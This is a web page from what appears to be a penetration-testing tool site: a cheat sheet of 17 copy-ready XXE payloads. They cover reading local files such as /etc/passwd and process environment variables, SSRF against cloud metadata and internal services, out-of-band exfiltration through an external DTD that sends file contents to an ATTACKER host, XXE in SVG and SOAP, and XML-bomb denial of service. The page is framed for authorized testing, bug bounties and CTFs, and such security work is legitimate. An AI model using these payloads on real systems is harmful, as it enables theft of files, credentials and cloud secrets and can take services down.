Skip to content
Payload Playground

XXE Cheat Sheet

XML External Entity injection payloads for file reading, SSRF, out-of-band exfiltration, and denial of service. (17 payloads)

Build custom XXE payloads in the SSRF generator

File Retrieval

(5)
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>
Read /etc/passwd
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><data>&xxe;</data>
Read hostname
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/environ">]><data>&xxe;</data>
Read environment variables
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><data>&xxe;</data>
Windows file readWindows
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><data>&xxe;</data>
PHP source code via filter wrapperPHP

SSRF via XXE

(3)
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><data>&xxe;</data>
AWS metadata via XXE
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">]><data>&xxe;</data>
Internal port scan
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-host/admin">]><data>&xxe;</data>
Access internal services

Blind XXE (OOB)

(4)
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">%dtd;]><data>&send;</data>
External DTD for OOB exfil
<!-- evil.dtd --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER/?d=%file;'>"> %eval; %exfil;
evil.dtd content for OOB exfil
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ATTACKER/canary">%xxe;]><data>test</data>
Blind detection (HTTP callback)
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///etc/hostname"><!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">%dtd;]><data>&send;</data>
OOB with parameter entity

XXE in Different Contexts

(3)
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><image xlink:href="file:///etc/hostname"/></svg>
XXE via SVG upload
Content-Type: text/xml <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>
XXE via Content-Type change
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><soap:Envelope xmlns:soap="..."><soap:Body><data>&xxe;</data></soap:Body></soap:Envelope>
XXE in SOAP request

Denial of Service

(2)
<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">]><data>&lol3;</data>
Billion laughs (XML bomb) — use responsibly
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "/dev/urandom">]><data>&xxe;</data>
Read infinite random data
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the XXE Cheat Sheet?+

It's a quick-reference collection of 17 XXE payloads for testing XXE vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these XXE payloads?+

Copy any payload straight into your authorized test, or open the SSRF generator to build customized XXE variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these XXE payloads free to use?+

Yes — this cheat sheet and all XXE payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/xxe) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.